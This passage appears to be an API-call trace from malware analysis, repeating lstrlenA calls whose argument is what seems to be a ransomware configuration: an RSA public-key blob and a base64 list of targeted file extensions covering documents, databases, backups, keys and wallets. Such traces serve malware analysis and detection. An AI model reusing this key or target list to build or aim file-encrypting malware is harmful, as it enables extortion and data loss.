FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0